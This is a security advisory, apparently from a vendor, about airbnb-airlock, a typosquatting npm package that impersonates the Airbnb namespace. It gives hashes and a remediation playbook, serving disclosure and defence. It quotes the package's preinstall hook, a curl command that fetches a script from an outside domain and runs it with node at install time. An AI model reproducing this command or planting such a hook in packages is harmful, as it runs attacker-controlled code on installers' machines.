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Malicious package

airbnb-airlocknpm

Advisory published Updated

airbnb-airlock is a confirmed malicious npm package (MAL-2026-6293) that typosquats a legitimate package to trick installs (malicious version 99.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in airbnb-airlock (npm)

MAL-2026-6293
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall airbnb-airlock

What this malware does

The package's preinstall lifecycle hook in package.json runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js, fetching an unpinned JavaScript file from poc.amanrawat.com and immediately executing it with node during npm install. The fetched content is mutable and entirely controlled by the operator of that domain — installers run whatever bytes are served at install time, with no hash or signature verification. The package ships no other functional content; the remote fetch-and-execute is its only behavior. The package name uses the 'airbnb-' prefix to impersonate the Airbnb open-source namespace while being published by an unrelated author with a placeholder description ('Test') and an inflated version (99.0.0), consistent with namespace impersonation intended to lure installers searching for Airbnb tooling.

Malicious versions

1 flagged
99.0.0

Indicators of compromise (SHA-256)

034fd98a2ccd98f2bec2201d130c5a102ad17907c37af34b5162592e26a0fd43
056514c32479bf3ccf237484369ce9b250a012b72265f42db53633b693c99aef
777d4e17106276e355d7d0f291ecc5cb2824096d8b4f15589e1f2b2b7ec651ca

Detection & response playbook

Typosquat
  1. Find it

    Search your lockfiles and build artifacts for airbnb-airlock (version 99.0.0).

  2. If you installed it — respond

    airbnb-airlock is a typosquat — you almost certainly intended a legitimately-named package. Remove airbnb-airlock, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

  3. Did it already run?

    If airbnb-airlock was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. airbnb-airlock on npm has been identified as a malicious package (version 99.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007205RLMA-2026-05491RLUA-2026-05962

References

Credits

  • Amazon Inspector · finder
  • ReversingLabs · finder

Detect & block this

O3 blocks airbnb-airlock-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

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airbnb-airlock (npm) malicious package — MAL-2026-6293 | O3 Security